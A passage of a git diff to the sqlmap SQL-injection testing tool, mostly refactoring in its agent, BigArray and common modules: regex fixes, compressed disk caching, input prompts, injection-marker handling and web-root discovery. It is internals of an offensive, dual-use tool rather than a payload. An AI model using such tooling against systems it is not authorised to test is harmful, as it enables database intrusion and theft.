%s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1") else: - match = re.search(" ORDER BY (\w+)\Z", query) + match = re.search(r" ORDER BY (\w+)\Z", query) field = match.group(1) if match else field if " WHERE " in limitedQuery: @@ -1063,7 +1062,7 @@ def extractPayload(self, value): """ _ = re.escape(PAYLOAD_DELIMITER) - return extractRegexResult("(?s)%s(?P.*?)%s" % (_, _), value) + return extractRegexResult(r"(?s)%s(?P.*?)%s" % (_, _), value) def replacePayload(self, value, payload): """ @@ -1071,7 +1070,7 @@ def replacePayload(self, value, payload): """ _ = re.escape(PAYLOAD_DELIMITER) - return re.sub("(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value + return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: @@ -1079,5 +1078,20 @@ def runAsDBMSUser(self, query): return query + def whereQuery(self, query): + if conf.dumpWhere and query: + prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") + + if "%s)" % conf.tbl.upper() in prefix.upper(): + prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) + elif re.search(r"(?i)\bWHERE\b", prefix): + prefix += " AND %s" % conf.dumpWhere + else: + prefix += " WHERE %s" % conf.dumpWhere + + query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix + + return query + # SQL agent agent = Agent() diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index d77613fb399..51f93404a8e 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: @@ -14,10 +14,12 @@ import os import sys import tempfile +import zlib from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapSystemException from lib.core.settings import BIGARRAY_CHUNK_SIZE +from lib.core.settings import BIGARRAY_COMPRESS_LEVEL DEFAULT_SIZE_OF = sys.getsizeof(object()) @@ -27,10 +29,12 @@ def _size_of(object_): """ retval = sys.getsizeof(object_, DEFAULT_SIZE_OF) + if isinstance(object_, dict): retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items())) elif hasattr(object_, "__iter__"): retval += sum(_size_of(_) for _ in object_) + return retval class Cache(object): @@ -48,7 +52,7 @@ class BigArray(list): List-like class used for storing large amounts of data (disk cached) """ - def __init__(self): + def __init__(self, items=[]): self.chunks = [[]] self.chunk_length = sys.maxint self.cache = None @@ -56,13 +60,18 @@ def __init__(self): self._os_remove = os.remove self._size_counter = 0 + for item in items: + self.append(item) + def append(self, value): self.chunks[-1].append(value) + if self.chunk_length == sys.maxint: self._size_counter += _size_of(value) if self._size_counter >= BIGARRAY_CHUNK_SIZE: self.chunk_length = len(self.chunks[-1]) self._size_counter = None + if len(self.chunks[-1]) >= self.chunk_length: filename = self._dump(self.chunks[-1]) self.chunks[-1] = filename @@ -76,18 +85,20 @@ def pop(self): if len(self.chunks[-1]) < 1: self.chunks.pop() try: - with open(self.chunks[-1], "rb") as fp: - self.chunks[-1] = pickle.load(fp) + with open(self.chunks[-1], "rb") as f: + self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException, errMsg + return self.chunks[-1].pop() def index(self, value): for index in xrange(len(self)): if self[index] == value: return index + return ValueError, "%s is not in list" % value def _dump(self, chunk): @@ -95,8 +106,8 @@ def _dump(self, chunk): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) os.close(handle) - with open(filename, "w+b") as fp: - pickle.dump(chunk, fp, pickle.HIGHEST_PROTOCOL) + with open(filename, "w+b") as f: + f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError), ex: errMsg = "exception occurred while storing data " @@ -110,10 +121,11 @@ def _checkcache(self, index): if (self.cache and self.cache.index != index and self.cache.dirty): filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename + if not (self.cache and self.cache.index == index): try: - with open(self.chunks[index], "rb") as fp: - self.cache = Cache(index, pickle.load(fp), False) + with open(self.chunks[index], "rb") as f: + self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message @@ -127,19 +139,19 @@ def __setstate__(self, state): self.chunks, self.filenames = state def __getslice__(self, i, j): - retval = BigArray() i = max(0, len(self) + i if i < 0 else i) j = min(len(self), len(self) + j if j < 0 else j) - for _ in xrange(i, j): - retval.append(self[_]) - return retval + + return BigArray(self[_] for _ in xrange(i, j)) def __getitem__(self, y): if y < 0: y += len(self) + index = y / self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] + if isinstance(chunk, list): return chunk[offset] else: @@ -150,6 +162,7 @@ def __setitem__(self, y, value): index = y / self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] + if isinstance(chunk, list): chunk[offset] = value else: diff --git a/lib/core/common.py b/lib/core/common.py index a7804f34d1e..3024e373e46 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import codecs import contextlib import cookielib import copy +import distutils import getpass import hashlib import httplib @@ -26,7 +27,9 @@ import subprocess import sys import tempfile +import threading import time +import types import urllib import urllib2 import urlparse @@ -72,6 +75,7 @@ from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX +from lib.core.enums import OPTION_TYPE from lib.core.enums import OS from lib.core.enums import PLACE from lib.core.enums import PAYLOAD @@ -95,13 +99,14 @@ from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK -from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_DIRECTORY_DICT +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_INJECTION -from lib.core.settings import DYNAMICITY_MARK_LENGTH +from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FILE_PATH_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME @@ -112,6 +117,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES +from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IP_ADDRESS_REGEX @@ -137,8 +143,10 @@ from lib.core.settings import REFLECTED_BORDER_REGEX from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_REPLACEMENT_REGEX +from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.core.settings import SAFE_VARIABLE_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import SUPPORTED_DBMS @@ -268,7 +276,7 @@ def getOs(target, info): infoApi = {} if info and "type" in info: - if hasattr(conf, "api"): + if conf.api: infoApi["%s operating system" % target] = info else: infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"])) @@ -286,12 +294,12 @@ def getOs(target, info): infoStr += " (%s)" % Format.humanize(info["codename"]) if "technology" in info: - if hasattr(conf, "api"): + if conf.api: infoApi["web application technology"] = Format.humanize(info["technology"], ", ") else: infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ") - if hasattr(conf, "api"): + if conf.api: return infoApi else: return infoStr.lstrip() @@ -318,14 +326,14 @@ def setDbms(dbms): msg += "correct [%s (default)/%s] " % (kb.dbms, dbms) while True: - _ = readInput(msg, default=kb.dbms) + choice = readInput(msg, default=kb.dbms) - if aliasToDbmsEnum(_) == kb.dbms: + if aliasToDbmsEnum(choice) == kb.dbms: kb.dbmsVersion = [] kb.resolutionDbms = kb.dbms break - elif aliasToDbmsEnum(_) == dbms: - kb.dbms = aliasToDbmsEnum(_) + elif aliasToDbmsEnum(choice) == dbms: + kb.dbms = aliasToDbmsEnum(choice) break else: warnMsg = "invalid value" @@ -378,12 +386,12 @@ def setOs(os): msg += "correct [%s (default)/%s] " % (kb.os, os) while True: - _ = readInput(msg, default=kb.os) + choice = readInput(msg, default=kb.os) - if _ == kb.os: + if choice == kb.os: break - elif _ == os: - kb.os = _.capitalize() + elif choice == os: + kb.os = choice.capitalize() break else: warnMsg = "invalid value" @@ -417,10 +425,10 @@ def setArch(): msg += "\n[2] 64-bit" while True: - _ = readInput(msg, default='1') + choice = readInput(msg, default='1') - if isinstance(_, basestring) and _.isdigit() and int(_) in (1, 2): - kb.arch = 32 if int(_) == 1 else 64 + if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): + kb.arch = 32 if int(choice) == 1 else 64 break else: warnMsg = "invalid value. Valid values are 1 and 2" @@ -431,7 +439,7 @@ def setArch(): # Get methods @staticmethod def getForcedDbms(): - return aliasToDbmsEnum(kb.get("forcedDbms")) + return aliasToDbmsEnum(conf.get("forceDbms")) or aliasToDbmsEnum(kb.get("forcedDbms")) @staticmethod def getDbms(): @@ -465,6 +473,8 @@ def getIdentifiedDbms(): if not kb: pass + elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None): + dbms = conf.dbmsHandler._dbms elif Backend.getForcedDbms() is not None: dbms = Backend.getForcedDbms() elif Backend.getDbms() is not None: @@ -515,10 +525,9 @@ def getArch(): # Comparison methods @staticmethod def isDbms(dbms): - if Backend.getDbms() is not None: - return Backend.getDbms() == aliasToDbmsEnum(dbms) - else: - return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) + if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms(): + singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms())) + return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) @staticmethod def isDbmsWithin(aliases): @@ -589,15 +598,15 @@ def paramToDict(place, parameters=None): or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\ and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " - warnMsg += "('%s') with most probably leftover " % element + warnMsg += "('%s') with most likely leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " - test = readInput(message, default="N") - if test[0] not in ("y", "Y"): + + if not readInput(message, default='N', boolean=True): raise SqlmapSilentQuitException elif not _: warnMsg = "provided value for parameter '%s' is empty. " % parameter @@ -613,7 +622,8 @@ def paramToDict(place, parameters=None): candidates = OrderedDict() def walk(head, current=None): - current = current or head + if current is None: + current = head if isListLike(current): for _ in current: walk(head, _) @@ -621,14 +631,15 @@ def walk(head, current=None): for key in current.keys(): value = current[key] if isinstance(value, (list, tuple, set, dict)): - walk(head, value) + if value: + walk(head, value) elif isinstance(value, (bool, int, float, basestring)): original = current[key] if isinstance(value, bool): - current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER) + current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) else: current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) - candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters) current[key] = original deserialized = json.loads(testableParameters[parameter]) @@ -637,8 +648,8 @@ def walk(head, current=None): if candidates: message = "it appears that provided value for %s parameter '%s' " % (place, parameter) message += "is JSON deserializable. Do you want to inject inside? [y/N] " - test = readInput(message, default="N") - if test[0] in ("y", "Y"): + + if not readInput(message, default='N', boolean=True): del testableParameters[parameter] testableParameters.update(candidates) break @@ -647,12 +658,12 @@ def walk(head, current=None): except Exception: pass - _ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter]) + _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter]) message = "it appears that provided value for %s parameter '%s' " % (place, parameter) - message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _ - test = readInput(message, default="N") - if test[0] in ("y", "Y"): - testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter]) + message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) + + if readInput(message, default='N', boolean=True): + testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters) break if conf.testParameter: @@ -728,7 +739,11 @@ def getManualDirectories(): directories = normalizePath(directories) - if directories: + if conf.webRoot: + directories = [conf.webRoot] + infoMsg = "using '%s' as web server document root" % conf.webRoot + logger.info(infoMsg) + elif directories: infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: @@ -743,17 +758,17 @@ def getManualDirectories(): message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" message += "[4] brute force search" - choice = readInput(message, default="1").strip() + choice = readInput(message, default='1') - if choice == "2": + if choice == '2': message = "please provide a comma separate list of absolute directory paths: " directories = readInput(message, default="").split(',') - elif choice == "3": + elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message, default="") checkFile(listPath) directories = getFileItems(listPath) - elif choice == "4": + elif choice == '4': targets = set([conf.hostname]) _ = conf.hostname.split('.') @@ -887,7 +902,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= message = data try: - if hasattr(conf, "api"): + if conf.get("api"): sys.stdout.write(message, status, content_type) else: sys.stdout.write(setColor(message, bold)) @@ -954,7 +969,7 @@ def dataToOutFile(filename, data): return retVal -def readInput(message, default=None, checkBatch=True): +def readInput(message, default=None, checkBatch=True, boolean=False): """ Reads input from terminal """ @@ -991,7 +1006,7 @@ def readInput(message, default=None, checkBatch=True): if retVal is None: if checkBatch and conf.get("batch"): if isListLike(default): - options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default) + options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: options = getUnicode(default, UNICODE_ENCODING) else: @@ -999,21 +1014,21 @@ def readInput(message, default=None, checkBatch=True): dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True) - debugMsg = "used the default behaviour, running in batch mode" + debugMsg = "used the default behavior, running in batch mode" logger.debug(debugMsg) retVal = default else: - logging._acquireLock() + try: + logging._acquireLock() - if conf.get("beep"): - beep() + if conf.get("beep"): + beep() - dataToStdout("\r%s" % message, forceOutput=True, bold=True) - kb.prependFlag = False + dataToStdout("\r%s" % message, forceOutput=True, bold=True) + kb.prependFlag = False - try: - retVal = raw_input() or default + retVal = raw_input().strip() or default retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: try: @@ -1027,7 +1042,13 @@ def readInput(message, default=None, checkBatch=True): finally: logging._releaseLock() - return retVal + if retVal and default and isinstance(default, basestring) and len(default) == 1: + retVal = retVal.strip() + + if boolean: + retVal = retVal.strip().upper() == 'Y' + + return retVal or "" def randomRange(start=0, stop=1000, seed=None): """ @@ -1101,6 +1122,13 @@ def sanitizeStr(value): return getUnicode(value).replace("\n", " ").replace("\r", "") def getHeader(headers, key): + """ + Returns header value ignoring the letter case + + >>> getHeader({"Foo": "bar"}, "foo") + 'bar' + """ + retVal = None for _ in (headers or {}): if _.upper() == key.upper(): @@ -1115,6 +1143,9 @@ def checkFile(filename, raiseOnError=True): valid = True + if filename: + filename = filename.strip('"\'') + try: if filename is None or not os.path.isfile(filename): valid = False @@ -1138,7 +1169,7 @@ def banner(): This function prints sqlmap banner with its version """ - if not any(_ in sys.argv for _ in ("--version", "--pickled-options")): + if not any(_ in sys.argv for _ in ("--version", "--api")): _ = BANNER if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: @@ -1173,17 +1204,20 @@ def parsePasswordHash(password): def cleanQuery(query): """ Switch all SQL statement (alike) keywords to upper case + + >>> cleanQuery("select id from users") + 'SELECT id FROM users' """ retVal = query for sqlStatements in SQL_STATEMENTS.values(): for sqlStatement in sqlStatements: - sqlStatementEsc = sqlStatement.replace("(", "\\(") - queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I) + candidate = sqlStatement.replace("(", "").replace(")", "").strip() + queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) if queryMatch and "sys_exec" not in query: - retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper()) + retVal = retVal.replace(queryMatch.group(1), candidate.upper()) return retVal @@ -1256,11 +1290,13 @@ def parseTargetDirect(): if not conf.direct: return + conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters + details = None remote = False for dbms in SUPPORTED_DBMS: - details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P.+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) + details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) if details: conf.dbms = details.group("dbms") @@ -1272,8 +1308,8 @@ def parseTargetDirect(): if conf.dbmsCred: conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') else: - conf.dbmsUser = unicode() - conf.dbmsPass = unicode() + conf.dbmsUser = "" + conf.dbmsPass = "" if not conf.dbmsPass: conf.dbmsPass = None @@ -1336,7 +1372,7 @@ def parseTargetDirect(): import pyodbc elif dbmsName == DBMS.FIREBIRD: import kinterbasdb - except ImportError: + except: if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: pass else: @@ -1357,19 +1393,18 @@ def parseTargetUrl(): originalUrl = conf.url - if re.search("\[.+\]", conf.url) and not socket.has_ipv6: + if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6: errMsg = "IPv6 addressing is not supported " errMsg += "on this platform" raise SqlmapGenericException(errMsg) - if not re.search("^http[s]*://", conf.url, re.I) and \ - not re.search("^ws[s]*://", conf.url, re.I): + if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I): if ":443/" in conf.url: conf.url = "https://" + conf.url else: conf.url = "http://" + conf.url - if CUSTOM_INJECTION_MARK_CHAR in conf.url: + if kb.customInjectionMark in conf.url: conf.url = conf.url.replace('?', URI_QUESTION_MARKER) try: @@ -1380,14 +1415,14 @@ def parseTargetUrl(): errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) - hostnamePort = urlSplit.netloc.split(":") if not re.search("\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search("\](:(?P\d+))?", urlSplit.netloc).group("port"))) + hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) - conf.scheme = urlSplit.scheme.strip().lower() if not conf.forceSSL else "https" + conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https" conf.path = urlSplit.path.strip() conf.hostname = hostnamePort[0].strip() conf.ipv6 = conf.hostname != conf.hostname.strip("[]") - conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "") + conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") try: _ = conf.hostname.encode("idna") @@ -1396,7 +1431,7 @@ def parseTargetUrl(): except UnicodeError: _ = None - if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): + if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): errMsg = "invalid target URL ('%s')" % originalUrl raise SqlmapSyntaxException(errMsg) @@ -1411,7 +1446,7 @@ def parseTargetUrl(): else: conf.port = 80 - if conf.port < 0 or conf.port > 65535: + if conf.port < 1 or conf.port > 65535: errMsg = "invalid target URL's port (%d)" % conf.port raise SqlmapSyntaxException(errMsg) @@ -1427,13 +1462,13 @@ def parseTargetUrl(): if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) - conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.REFERER, conf.httpHeaders) - conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, ""))) + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER] + conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, ""))) if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) - conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.HOST, conf.httpHeaders) + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST] conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url))) if conf.url != originalUrl: @@ -1446,15 +1481,16 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression, re.I) + asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression) if asterisk: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) - _ = asterisk.group(2).replace("..", ".").replace(".dbo.", ".") - db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) + _ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.') + db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _) + if db is None: if expression != conf.query: conf.db = db @@ -1462,6 +1498,7 @@ def expandAsteriskForColumns(expression): expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression) else: conf.db = db + conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) @@ -1471,7 +1508,7 @@ def expandAsteriskForColumns(expression): columns = columnsDict[conf.db][conf.tbl].keys() columns.sort() columnsStr = ", ".join(column for column in columns) - expression = expression.replace("*", columnsStr, 1) + expression = expression.replace('*', columnsStr, 1) infoMsg = "the query with expanded column name(s) is: " infoMsg += "%s" % expression @@ -1490,15 +1527,25 @@ def getLimitRange(count, plusOne=False): retVal = None count = int(count) limitStart, limitStop = 1, count + reverse = False - if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: - limitStop = conf.limitStop + if kb.dumpTable: + if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop: + limitStop = conf.limitStart + limitStart = conf.limitStop + reverse = True + else: + if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: + limitStop = conf.limitStop - if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: - limitStart = conf.limitStart + if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: + limitStart = conf.limitStart retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop) + if reverse: + retVal = xrange(retVal[-1], retVal[0] - 1, -1) + return retVal def parseUnionPage(page): @@ -1509,7 +1556,7 @@ def parseUnionPage(page): if page is None: return None - if re.search("(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): + if re.search(r"(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" logger.warn(warnMsg) @@ -1517,7 +1564,7 @@ def parseUnionPage(page): data = BigArray() keys = set() - for match in re.finditer("%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE): + for match in re.finditer(r"%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE): entry = match.group(1) if kb.chars.start in entry: @@ -1600,12 +1647,19 @@ def getRemoteIP(): return retVal def getFileType(filePath): + """ + Returns "magic" file type for given file path + + >>> getFileType(__file__) + 'text' + """ + try: - _ = magic.from_file(filePath) + desc = magic.from_file(filePath) or "" except: return "unknown" - return "text" if "ASCII" in _ or "text" in _ else "binary" + return "text" if any(_ in desc.lower() for _ in ("ascii", "text")) else "binary" def getCharset(charsetType=None): """ @@ -1621,34 +1675,34 @@ def getCharset(charsetType=None): if charsetType is None: asciiTbl.extend(xrange(0, 128)) - # 0 or 1 + # Binary elif charsetType == CHARSET_TYPE.BINARY: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 50)) # Digits elif charsetType == CHARSET_TYPE.DIGITS: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 9)) asciiTbl.extend(xrange(47, 58)) # Hexadecimal elif charsetType == CHARSET_TYPE.HEXADECIMAL: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 71)) - asciiTbl.extend([87, 88]) # X + asciiTbl.extend((87, 88)) # X asciiTbl.extend(xrange(96, 103)) - asciiTbl.extend([119, 120]) # x + asciiTbl.extend((119, 120)) # x # Characters elif charsetType == CHARSET_TYPE.ALPHA: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) # Characters and digits elif charsetType == CHARSET_TYPE.ALPHANUM: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) @@ -1675,14 +1729,14 @@ def normalizePath(filepath): Returns normalized string representation of a given filepath >>> normalizePath('//var///log/apache.log') - '//var/log/apache.log' + '/var/log/apache.log' """ retVal = filepath if retVal: retVal = retVal.strip("\r\n") - retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else posixpath.normpath(retVal) + retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else re.sub(r"\A/{2,}", "/", posixpath.normpath(retVal)) return retVal @@ -1720,7 +1774,7 @@ def safeStringFormat(format_, params): if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) elif not isListLike(params): - retVal = retVal.replace("%s", str(params), 1) + retVal = retVal.replace("%s", getUnicode(params), 1) else: start, end = 0, len(retVal) match = re.search(r"%s(.+)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), retVal) @@ -1746,7 +1800,7 @@ def safeStringFormat(format_, params): if match: if count >= len(params): warnMsg = "wrong number of parameters during string formatting. " - warnMsg += "Please report by e-mail content \"%r | %r | %r\" to 'dev@sqlmap.org'" % (format_, params, retVal) + warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) raise SqlmapValueException(warnMsg) else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) @@ -1755,7 +1809,7 @@ def safeStringFormat(format_, params): break return retVal -def getFilteredPageContent(page, onlyText=True): +def getFilteredPageContent(page, onlyText=True, split=" "): 